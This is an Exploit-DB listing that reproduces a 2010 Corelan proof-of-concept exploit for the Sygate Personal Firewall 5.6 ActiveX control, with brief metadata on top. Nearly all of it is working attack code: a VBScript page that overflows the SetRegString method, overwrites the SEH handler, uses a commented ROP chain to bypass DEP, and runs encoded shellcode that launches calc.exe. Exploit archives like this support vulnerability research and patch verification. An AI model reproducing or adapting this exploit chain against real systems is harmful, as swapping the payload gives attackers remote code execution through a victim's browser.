Sygate Personal Firewall 5.6 build 2808 ActiveX w/ DEP bypass

vendor:

Personal Firewall

by:

Lincoln

N/A

CVSS

N/A

SEH

CWE

Product Name: Personal Firewall

Affected Version From:

Affected Version To:

Patch Exists:

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows

2010

Sygate Personal Firewall 5.6 build 2808 ActiveX w/ DEP bypass

This exploit targets the Sygate Personal Firewall 5.6 build 2808 ActiveX software on Windows. It uses a DEP bypass technique to exploit a Structured Exception Handling (SEH) vulnerability. The exploit code is provided as-is and should only be used for educational purposes. Any modification or misuse of the code is not the responsibility of Corelan. The exploit has been tested on IE 7/6 with a nop slide used.

Mitigation:

Source

Exploit-DB raw data:

<html>
<!--
        |------------------------------------------------------------------|
        |                         __               __                      |
        |   _________  ________  / /___ _____     / /____  ____ _____ ___  |
        |  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
        | / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
        | \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              security@corelan.be |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|
  
# Software      : Sygate Personal Firewall 5.6 build 2808 ActiveX w/ DEP bypass
# Author        : Lincoln
# Date      	: June 11, 2010
# Reference     : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-050
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
# Bad Chars: 80-9f (makes for extra fun)
# Tested on IE 7/6 , nop slide used
#
#
-->

<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' ></object>
<script language='vbscript'>

seh   = unescape("%13%16%47%06") 	'#ADD ESP,46C # RETN


rop = rop + String(72, "D") 		'#Junk
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop
rop = rop + unescape("%19%16%47%06")	'#Nop

'#edx
rop = rop + unescape("%33%b6%44%06")	'#POP EBP # RETN
rop = rop + unescape("%01%c0%4b%06")	
rop = rop + unescape("%65%b9%47%06")	'#MOV EDX,EBP # POP REGISTERS CHAIN #RETN

'#alignment					
rop = rop + unescape("%7c%bd%47%06")	'#POP data into registers	
rop = rop + unescape("%49%50%45%06")	
rop = rop + unescape("%41%41%41%41")	
rop = rop + unescape("%ff%ff%ff%ff")	
rop = rop + unescape("%50%50%50%50")	

'#ebx 
rop = rop + unescape("%b2%7d%48%06")    '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41")	'#Junk
rop = rop + unescape("%b2%7d%48%06")    '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41")	'#Junk
rop = rop + unescape("%b2%7d%48%06")    '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41")	'#Junk
rop = rop + unescape("%d9%c4%47%06")	'#ADD EBX,EAX # PUSH 1 # POP EAX # RETN 

'#ebp
rop = rop + unescape("%dd%c4%47%06")	'#POP EAX # RETN
rop = rop + unescape("%1f%73%d0%cc")    
rop = rop + unescape("%ae%f5%47%06")    '#SUB EAX,ECX # RETN
rop = rop + unescape("%30%14%45%06")	'#MOV EBP,EAX # CALL ESI

'#esi
rop = rop + unescape("%22%cd%46%06")	'#POP ESI # RETN
rop = rop + unescape("%ff%ff%ff%ff")	

'#eax
rop = rop + unescape("%dd%c4%47%06")	'#POP EAX # RETN
rop = rop + unescape("%63%72%d0%cc")    
rop = rop + unescape("%ae%f5%47%06")    '#SUB EAX,ECX # RETN 

'#game over
rop = rop + unescape("%47%71%49%06")	'#PUSHAD (throw it all on the stack baby!)


'[*] Using Msf::Encoder::Alpha2 with final size of 338 bytes cmd=calc.exe
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") & _
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%45") & _
unescape("%58%30%41%31%50%41%42%6b%42%41%55%32%42%42%32%41") & _
unescape("%41%30%41%41%58%42%38%42%42%50%75%6d%39%39%6c%6d") & _
unescape("%38%57%34%77%70%67%70%33%30%4c%4b%63%75%75%6c%6c") & _
unescape("%4b%41%6c%75%55%64%38%55%51%4a%4f%4c%4b%42%6f%46") & _
unescape("%78%4e%6b%61%4f%77%50%65%51%78%6b%63%79%4c%4b%47") & _
unescape("%44%6e%6b%47%71%48%6e%65%61%59%50%6e%79%6c%6c%4f") & _
unescape("%74%4f%30%50%74%47%77%6a%61%5a%6a%54%4d%64%41%5a") & _
unescape("%62%68%6b%4a%54%55%6b%42%74%74%64%47%74%70%75%6b") & _
unescape("%55%6c%4b%61%4f%76%44%66%61%5a%4b%71%76%6c%4b%54") & _
unescape("%4c%72%6b%4c%4b%53%6f%77%6c%56%61%7a%4b%4e%6b%65") & _
unescape("%4c%6c%4b%77%71%38%6b%6b%39%43%6c%71%34%74%44%59") & _
unescape("%53%67%41%6f%30%63%54%6e%6b%63%70%70%30%4e%65%4b") & _
unescape("%70%61%68%36%6c%6c%4b%63%70%46%6c%4c%4b%54%30%77") & _
unescape("%6c%4c%6d%6e%6b%55%38%57%78%38%6b%36%69%6e%6b%6f") & _
unescape("%70%4e%50%73%30%75%50%55%50%6e%6b%33%58%77%4c%43") & _
unescape("%6f%50%31%59%66%65%30%33%66%6e%69%69%68%4f%73%4b") & _
unescape("%70%53%4b%42%70%30%68%4a%50%6e%6a%65%54%51%4f%52") & _
unescape("%48%6f%68%4b%4e%6c%4a%66%6e%33%67%4b%4f%6d%37%51") & _
unescape("%73%50%61%62%4c%70%63%56%4e%73%55%73%48%41%75%47") & _
unescape("%70%45")


junk  = String(2814, "D") '3128
mjunk = String(25000, "A")

arg1=1
arg2=1
arg3= rop + sc + junk + seh + mjunk
arg4="defaultV"
arg5="defaultV"

target.SetRegString arg1 ,arg2 ,arg3 ,arg4 ,arg5 

</script>
<b><center>Sygate Personal Firewall 5.6 build 2808 ActiveX exploit w/ DEP bypass</b></center>
</html>